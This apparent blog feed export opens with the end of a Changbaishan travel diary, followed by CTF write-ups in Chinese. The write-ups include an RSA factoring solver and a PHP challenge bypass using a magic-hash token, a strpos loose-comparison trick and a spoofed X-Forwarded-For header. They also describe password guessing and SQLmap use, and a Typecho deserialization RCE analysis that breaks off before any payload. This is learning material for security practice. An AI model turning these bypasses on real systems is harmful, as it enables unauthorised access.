&lt;p&gt;:::&lt;/p&gt;
&lt;h1&gt;10.7——长白山、回沈阳&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;7号计划爬西坡。我们运气挺好的，起床有点晚再加上收拾完后已经十一点了，赶到上车点刚好坐上上山的车。在经历了无数道山路十八弯后我们终于下车，花了40分钟爬一会歇一会终于到达山顶看到了天池。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1007-tianchi-panorama.webp&quot; alt=&quot;长白山天池全景&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1007-west-slope-trail.webp&quot; alt=&quot;长白山西坡雪山栈道&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;快速跑下山的后果是我回来后腿疼了好几天&lt;/li&gt;
&lt;li&gt;下山后急匆匆赶往锦江大峡谷，这里随处都是松鼠景色也很好看&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::div{.travel-gallery data-count=&quot;2&quot;}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1007-jinjiang-canyon-rocks.webp&quot; alt=&quot;锦江大峡谷的岩石景观&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;image-optimized/1007-jinjiang-canyon-forest.webp&quot; alt=&quot;锦江大峡谷的秋日树林&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;松鼠你萌！&lt;/li&gt;
&lt;li&gt;事已至此我的国庆旅游结束了，大家在下山的车上陷入婴儿般的睡眠，晚上八点回到沈阳吃了个散伙饭，凌晨两点我们三坐上了回北京的高铁&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;游记总是容易絮絮叨叨写成流水账，我也知道其实这几千字没有重点也不知所云，但我舍不得，我怕我写的不够仔细的话后面就忘了。可能这篇文章别人看来只是一堆乱七八糟的碎碎念，但我相信在未来的某一天当我翻出这篇文章时，我会想起空无一人的海滩、高速路上的日落、车内的摇滚乐、湿透的好友们与爬上西坡后远处的一望无际的蓝。&lt;/p&gt;
&lt;p&gt;高精力人群是这样的，两天睡了三小时还能去露水河打水仗，回酒店后又玩了几个小时的游戏，睡六小时又起床匆匆吃几个小面包爬西坡。&lt;/p&gt;
&lt;p&gt;我的文笔不好，摘录一下鼠鼠的总结吧。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;我们一起去做了许多“如果只有从前的我一个人，则绝对不对做”的事情。

我们在所到的城市租车，自驾去往各种想去的地方，穿梭于城市与城市、旅馆与景区、公路与高速、晴天与雨夜，伴着车载音响的乐声与路途上的欢声笑语。我们为去看那山中枫叶、追那大海、见那日升，可以专程驱车前往另一座城市，或寻得一个新旅馆歇脚，或趁晨间出发、沐夜色回程。

我们在沈阳体验洗浴中心，感受独属于东北地区的舒服与休息，甚至还感受了一波按摩。我们半夜凌晨到台球厅中，二对二进行新手与老手的台球对决。我们深夜围坐床边共同盘算第二天的行程，虽然只有园长在做决策，我只会说“我都行”。

我们踏上高架的玻璃栈桥，坐上穿越高空的山间滑索，骑坐高悬空中的脚踏自行车，嬉戏于密网织就的高空蹦床，甚至将高空啊野外啊峡谷啊什么的统统抛之脑后，用力踩着飞起，举着推着踢着撞着大过于人的充气大气球便决斗起来，包也不管了，衣服也不管了，摔倒砸到脸什么的也全然无所谓了，只一味地笑着闹着。

我们深夜驱车巡海，在荒凉而空无一人的漆黑夜色中，步上海边的石头，光明正大地潜入开放大门的海滨公园，举着手电走在海边栈道上，抬头仰望海边的星月夜，听海浪涛涛，还有闻夜间犬吠被吓得飞奔逃跑的夜间运动环节。

我们在白山露水河漂流激战，不记得寒冷与衣物，水战打到水穿过雨衣进入鞋里袜里衣服里裤子里，最后打着冷哆嗦靠几片暖宝宝和几杯热饮，带着命回到酒店。

我们还东拼西凑动车班次，中转多处只为在国庆期间能够去到长白山，能够回到北京赶上8号的早课。尤其是最后归程时坐上了凌晨近两点到五点的神奇车次，以至于我到宿舍倒头就睡最后还是翘掉了早八水课。

……

旅行的意义并不是告诉别人“这里我来过&quot;
而是一种改变
旅行会改变人的气质
让人的目光变得更加长远
在旅途中
你会看到不同的人有不同的习惯
你才能了解到
并不是每个人都按照你的方式在生活
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;致谢&lt;/h1&gt;
&lt;p&gt;谢谢鼠鼠写下这段总结，也谢谢嘴哥、鼠鼠和园长分享沿途拍下的照片。那些来不及细记的风景和玩笑，因为你们的文字与镜头，成了以后还能一起翻看的回忆。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;文案提供：鼠鼠&lt;/p&gt;
&lt;p&gt;图片提供：嘴哥、鼠鼠、园长&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>十月每日一题</title><link>https://clairis.cn/posts/13%E5%8D%81%E6%9C%88%E6%AF%8F%E6%97%A5%E4%B8%80%E9%A2%98/</link><guid isPermaLink="true">https://clairis.cn/posts/13%E5%8D%81%E6%9C%88%E6%AF%8F%E6%97%A5%E4%B8%80%E9%A2%98/</guid><pubDate>Tue, 13 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;[陇剑杯 2021]简单日志分析（问1）&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;title&lt;/td&gt;
&lt;td&gt;[陇剑杯 2021]简单日志分析（问1）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;2026-10-01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;category&lt;/td&gt;
&lt;td&gt;&lt;code&gt;misc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NSSCTF{user}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;查看 &lt;code&gt;app.log&lt;/code&gt;，发现多条 &lt;code&gt;GET /?user=...&lt;/code&gt; 请求。对参数值进行 URL 解码和 Base64 解码，再静态分析 pickle 数据，可见其中包含 &lt;code&gt;os.system&lt;/code&gt; 调用。第 89 行执行的命令是 &lt;code&gt;whoami&lt;/code&gt;，后续请求还尝试读取文件，并包含反弹 shell 命令。&lt;/p&gt;
&lt;p&gt;这些攻击请求都使用同一个查询参数名 &lt;code&gt;user&lt;/code&gt;。题目问的是攻击参数名，因此答案为 &lt;code&gt;user&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flag：&lt;code&gt;NSSCTF{user}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;[长城杯 2021 院校组]签到&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;title&lt;/td&gt;
&lt;td&gt;[长城杯 2021 院校组]签到&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;2026-10-02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;category&lt;/td&gt;
&lt;td&gt;&lt;code&gt;misc&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NSSCTF{Welcome_to_changchengbe1}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;题目给出一串16进制编码，先进行&lt;code&gt;Hex&lt;/code&gt;解码得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ZmxhZ3tXZWxjb21lX3RvX2NoYW5nY2hlbmdiZTF9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再进行&lt;code&gt;Base64&lt;/code&gt;解码得到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{Welcome_to_changchengbe1}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;[GWCTF 2019]babyRSA&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;title&lt;/td&gt;
&lt;td&gt;[GWCTF 2019]babyRSA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;date&lt;/td&gt;
&lt;td&gt;2026-10-03&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;category&lt;/td&gt;
&lt;td&gt;&lt;code&gt;crypto&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Flag&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GWHT{f709e0e2cfe7e530ca8972959a1033b2}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;encrypt.py&lt;/code&gt; 中设定 &lt;code&gt;q = nextprime(p)&lt;/code&gt;，所以 RSA 模数 &lt;code&gt;N = p*q&lt;/code&gt; 的两个素因子很接近，可以用 Fermat 分解。计算 &lt;code&gt;a = ceil(sqrt(N))&lt;/code&gt; 后，&lt;code&gt;a²-N&lt;/code&gt; 已经是平方数；得到因子后计算 &lt;code&gt;phi(N)&lt;/code&gt; 和私钥指数 &lt;code&gt;d&lt;/code&gt;，即可分别解密 &lt;code&gt;m1&lt;/code&gt;、&lt;code&gt;m2&lt;/code&gt;，得到：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;S = F1 + F2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;T = F1³ + F2³&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;利用恒等式 &lt;code&gt;F1³ + F2³ = (F1+F2)³ - 3F1F2(F1+F2)&lt;/code&gt;，可算出 &lt;code&gt;F1F2 = (S³-T)/(3S)&lt;/code&gt;。于是 &lt;code&gt;F1&lt;/code&gt;、&lt;code&gt;F2&lt;/code&gt; 是方程 &lt;code&gt;x²-Sx+F1F2=0&lt;/code&gt; 的两个整数根。分别转回字节后，按 &lt;code&gt;GWHT{&lt;/code&gt; 前缀确定顺序，拼出 flag。&lt;/p&gt;
&lt;h2&gt;EXP&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import math
import sys
import zipfile
from pathlib import Path

archive = Path(sys.argv[1]) if len(sys.argv) &amp;gt; 1 else Path(&quot;encrypt.zip&quot;)
with zipfile.ZipFile(archive) as zf:
    values = {}
    for line in zf.read(&quot;secret&quot;).decode().splitlines():
        key, value = line.split(&quot;=&quot;, 1)
        values[key] = int(value)

N, m1, m2 = values[&quot;N&quot;], values[&quot;m1&quot;], values[&quot;m2&quot;]
e = 0x10001

a = math.isqrt(N)
if a * a &amp;lt; N:
    a += 1
while True:
    b2 = a * a - N
    b = math.isqrt(b2)
    if b * b == b2:
        p, q = a - b, a + b
        if p * q == N:
            break
    a += 1

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
S = pow(m1, d, N)
T = pow(m2, d, N)

assert (S**3 - T) % (3 * S) == 0
product = (S**3 - T) // (3 * S)
discriminant = S * S - 4 * product
root = math.isqrt(discriminant)
assert root * root == discriminant
F1, F2 = (S + root) // 2, (S - root) // 2

def long_to_bytes(n):
    return n.to_bytes((n.bit_length() + 7) // 8, &quot;big&quot;)

parts = [long_to_bytes(F1), long_to_bytes(F2)]
for ordered in (parts, parts[::-1]):
    candidate = b&quot;&quot;.join(ordered)
    if candidate.startswith(b&quot;GWHT{&quot;) and candidate.endswith(b&quot;}&quot;):
        print(candidate.decode())
        break
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>GCCCTF的WP</title><link>https://clairis.cn/posts/07gccctf/</link><guid isPermaLink="true">https://clairis.cn/posts/07gccctf/</guid><pubDate>Wed, 05 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;PHP签到&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;打开环境，根据&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;想了解更多系统信息？机器人总是遵循特定的协议和规则...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;联想到&lt;code&gt;robots.txt&lt;/code&gt;并进入robots.txt，再进入&lt;code&gt;l34RNpHP.php&lt;/code&gt;看到源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

header(&apos;Content-Type: text/plain; charset=UTF-8&apos;);

if (!isset($_GET[&apos;user&apos;], $_GET[&apos;token&apos;], $_GET[&apos;sig&apos;], $_GET[&apos;ts&apos;], $_GET[&apos;nonce&apos;])) {
    readfile(__FILE__);
    exit;
}

$user   = (string)$_GET[&apos;user&apos;];
$token  = (string)$_GET[&apos;token&apos;];
$sig    = (string)$_GET[&apos;sig&apos;];
$ts     = (int)$_GET[&apos;ts&apos;];
$nonce  = (string)$_GET[&apos;nonce&apos;];

$xff = $_SERVER[&apos;HTTP_X_FORWARDED_FOR&apos;] ?? &apos;&apos;;
if (strpos($xff, &apos;127.0.0.1&apos;) === false &amp;amp;&amp;amp; strpos($xff, &apos;::1&apos;) === false) {
    exit(&apos;hacker!&apos;);
}

if (base64_decode($nonce) === false || !preg_match(&apos;/^[A-Za-z0-9+\/=]+$/&apos;, $nonce)) {
    exit(&apos;hacker!!&apos;);
}

if (time() - $ts &amp;lt;= 60) {
    // ok
} else {
    exit(&apos;expired!&apos;);
}

if (strpos($user, &apos;admin&apos;) == false) {

    $key = $_COOKIE[&apos;authkey&apos;] ?? &apos;NULL&apos;;
    $mac = hash_hmac(&apos;md5&apos;, $user . $token . $ts, $key);

    if (substr($mac, 0, 6) == substr($sig, 0, 6)) {

        $stored_hash = &apos;0e830400451993494058024219903391&apos;; 
        if (md5($token) == $stored_hash) {
            @readfile(&apos;/flag&apos;);
        } else {
            exit(&apos;hacker!!!&apos;);
        }

    } else {
        exit(&apos;hacker!!!!&apos;);
    }

} else {
    exit(&apos;blocked user&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1‍⃣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$stored_hash = &apos;0e830400451993494058024219903391&apos;; 
 if (md5($token) == $stored_hash) {
     @readfile(&apos;/flag&apos;);
} else {
     exit(&apos;hacker!!!&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;最终是要进入readfile(&apos;/flag&apos;)，必须要满足md5($token)==$stored_hash(php弱比较)
而在php弱比较中，0e830400451993494058024219903391 = 0 × 10^很多 = 0
所以md5(token)也长成”0e数字数字数字……&quot;，经典值就是
QNKCDZO
所以token=QNKCDZO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;2‍⃣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
$key = $_COOKIE[&apos;authkey&apos;] ?? &apos;NULL&apos;;
$mac = hash_hmac(&apos;md5&apos;, $user . $token . $ts, $key);

if (substr($mac, 0, 6) == substr($sig, 0, 6)) {
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;外层是if (substr($mac, 0, 6) == substr($sig, 0, 6)) {，所以不仅要让token通过md5，还要让签名sig也通过
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而对于mac&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$key = $_COOKIE[&apos;authkey&apos;] ?? &apos;NULL&apos;;
$mac = hash_hmac(&apos;md5&apos;, $user . $token . $ts, $key);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;mac：明文为user+token+ts的拼接字符串；密钥为key；加密方式为hash_hmac——所以想要得到mac，还需要知道key user ts&lt;/li&gt;
&lt;li&gt;key：如果传了Cookie(比如Cookie:authkey=abc)，那么key就是Cookie，没有就是NULL；所以最简单的方法是不带authkey Cookie或者明确Cookie:authkey=NULL；这样key的值就是NULL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;3‍⃣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (strpos($user, &apos;admin&apos;) == false) {
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;strops为查找字符串，如果user=&apos;admin&apos;，那么返回0(因为admin出现在第0位)&lt;/li&gt;
&lt;li&gt;同时在PHP弱比较中0==false，所以strpos($user, &apos;admin&apos;) == false返回true&lt;/li&gt;
&lt;li&gt;所以user=admin&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;4‍⃣选ts&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (time() - $ts &amp;lt;= 60) {
    // ok
} else {
    exit(&apos;expired!&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间戳不能超过60秒，所以可以用当前时间戳
但是也可以传入未来时间戳&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ts=9999999999
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;time() - $ts &amp;lt; 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;负数也小于0，所以也可以用ts=9999999999
&lt;strong&gt;关键是：计算sig用的ts，必须和URL里传的ts一模一样&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;5‍⃣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (base64_decode($nonce) === false || !preg_match(&apos;/^[A-Za-z0-9+\/=]+$/&apos;, $nonce)) {
    exit(&apos;hacker!!&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;要求nonce是Base64的样子
所以随便给&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nonce=MQ==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（MQ==解码后是1）&lt;/p&gt;
&lt;p&gt;&amp;lt;/br&amp;gt;&lt;/p&gt;
&lt;p&gt;6‍⃣&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$xff = $_SERVER[&apos;HTTP_X_FORWARDED_FOR&apos;] ?? &apos;&apos;;
if (strpos($xff, &apos;127.0.0.1&apos;) === false &amp;amp;&amp;amp; strpos($xff, &apos;::1&apos;) === false) {
    exit(&apos;hacker!&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以抓包时加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;X-Forwarded-For:127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-001.png&quot; alt=&quot;&quot; /&gt;
ps：真的很害怕读源码😭&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;计小鸡的秘密&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下载得到.pcap流量包，查看流量中的协议分布，发现有http协议，于是优先分析http协议
&lt;img src=&quot;img-002.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;在其中发现一个流名称为&lt;code&gt;1758942862494_secret.png&lt;/code&gt;，猜测flag在其中，于是导出http文件
&lt;img src=&quot;img-003.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;img-004.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;查看导出的图片发现图片显示不正常，于是修改宽高为1024*1024；得到正确的flag&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;ezmisc&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下载附件得到一张图片，将图片左上角的字符串给填入flag发现flag不对&lt;/li&gt;
&lt;li&gt;用binwalk检查发现里面有附件，于是提取得到&lt;code&gt;7E27E8.zip&lt;/code&gt;压缩包
&lt;img src=&quot;img-005.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;压缩包解压需要密码，将图片左上角的字符串输入得到&lt;code&gt;flag.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;打开flag.py看到很长的代码，先搜索&lt;code&gt;flag&lt;/code&gt;，于是又返回去找&lt;code&gt;ascii_codes&lt;/code&gt;
&lt;img src=&quot;img-006.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;img-007.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;将ascii_codes转换成对应的ASCII字符拼接起来就是flag的Base64形式&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import base64
ascii_codes = [
        82, 48, 78, 68, 81, 49, 82, 71, 101, 50, 85, 50, 79, 68, 78, 109, 90, 106, 99, 48,
        89, 122, 90, 104, 77, 68, 103, 50, 78, 122, 69, 48, 77, 122, 65, 51, 77, 87, 69, 49,
        79, 87, 77, 120, 78, 68, 90, 106, 78, 50, 73, 49, 90, 87, 86, 109, 78, 87, 81, 52,
        79, 71, 90, 107, 89, 122, 99, 119, 79, 87, 73, 122, 77, 109, 90, 105, 78, 50, 69, 49,
        77, 106, 81, 53, 90, 84, 81, 121, 89, 106, 100, 105, 79, 84, 108, 57, 61, 61
]

result = &apos;&apos;.join(map(chr, ascii_codes))

print(&quot;Base64:&quot;)
print(result)

print(&quot;Flag:&quot;)
print(base64.b64decode(result).decode())
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;eztalk&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;题目描述中说&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;“多聊”
“想知道的都可以问他”
&quot;同一个问问题可能会有不同的答案&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是多次询问（5次）“给我flag” 得到第一段&lt;code&gt;flag：942726a4-&lt;/code&gt;
&lt;img src=&quot;evidence/evidence-01.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;br&amp;gt;
2. 另外又说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;也许他会给你提示&quot;
“聊天就能得到全部的flag？哪有这么容易！”
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以还要从别的地方得到flag，于是又问它“给我提示”得到如下提示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;没有登陆你是怎么进来的？
想知道flag具体怎么拼接吗？我很乐意告诉你答案的！
多看文档或许能了解更多呢。
我是不会告诉你我藏的四段flag都在什么地方的！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据刚刚获得的提示猜测这个网站存在其他目录可以访问，于是用dirsearch扫描
&lt;img src=&quot;evidence/evidence-02.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;没有登陆你是怎么进来的？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先进行登录。先随便输入用户名和密码显示“用户名错误”，多次尝试后使用admin显示“请输入8位密码”，于是又去ds搜索“CTF题目中没有提示的用户名为admin的常见8位登录密码”，尝---试到“admin123&quot;时成功登录得到第二份flag：&lt;code&gt;-aa24-63d&lt;/code&gt;
&lt;img src=&quot;evidence/evidence-03.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;evidence/evidence-04.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;evidence/evidence-05.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;evidence/evidence-06.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;多看文档或许能了解更多呢。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是访问&lt;code&gt;docs&lt;/code&gt;，在“API接口文档”中看到获取特定图片信息的命令，于是挨个尝试
&lt;img src=&quot;evidence/evidence-07.png&quot; alt=&quot;&quot; /&gt;
试到&lt;code&gt;/api/image/7&lt;/code&gt;时发现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;is_flag&quot;:true,
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;于是下载该图片，用随波逐流的StegSolve LSB分析器得到第三段flag：&lt;code&gt;4071-4a01&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;另外还在文档的管理员控制面板处看到
&lt;img src=&quot;evidence/evidence-08.png&quot; alt=&quot;&quot; /&gt;
于是使用SQLmap进行扫描得到最后一段flag：&lt;code&gt;4d8e01277&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;接下来进行拼接。在聊天界面询问拼接方法，尝试两次得到最终flag&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>Typecho install.php 反序列化漏洞 Writeup</title><link>https://clairis.cn/posts/18typecho-installphp-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-writeup/</link><guid isPermaLink="true">https://clairis.cn/posts/18typecho-installphp-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-writeup/</guid><pubDate>Mon, 03 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;题目信息&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;项目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;题目类型&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web - PHP反序列化&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;框架&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Typecho CMS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;版本&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1.0/14.10.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flag&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NSSCTF{7142be72-772e-4691-9c42-972da71e605a}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;漏洞概述&lt;/h1&gt;
&lt;p&gt;Typecho 是一款 PHP 博客系统。题目的附件是 Typecho 源码，在 &lt;code&gt;install.php&lt;/code&gt; 中存在 &lt;strong&gt;PHP 反序列化漏洞&lt;/strong&gt;。攻击者可以通过构造恶意的序列化 Cookie，触发远程代码执行（RCE），最终获取服务器上的 Flag。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;漏洞分析&lt;/h1&gt;
&lt;h2&gt;1. 漏洞点定位&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;install.php&lt;/code&gt; 中有两处反序列化入口：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;位置1: &lt;code&gt;?finish&lt;/code&gt; 路径（第231行）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$config = unserialize(base64_decode(Typecho_Cookie::get(&apos;__typecho_config&apos;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要满足：&lt;code&gt;config.inc.php&lt;/code&gt; 不存在，且 &lt;code&gt;$_SESSION&lt;/code&gt; 已启动。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;位置2: &lt;code&gt;?start&lt;/code&gt; 路径（第284行）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$config = unserialize(base64_decode(Typecho_Cookie::get(&apos;__typecho_config&apos;)));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要满足：&lt;code&gt;config.inc.php&lt;/code&gt; 不存在，&lt;strong&gt;无需 session 检查&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;两种路径都是从 Cookie &lt;code&gt;__typecho_config&lt;/code&gt; 中读取 &lt;strong&gt;base64 编码的序列化数据&lt;/strong&gt; 并执行 &lt;code&gt;unserialize()&lt;/code&gt;，这构成了 PHP 反序列化漏洞入口。&lt;/p&gt;
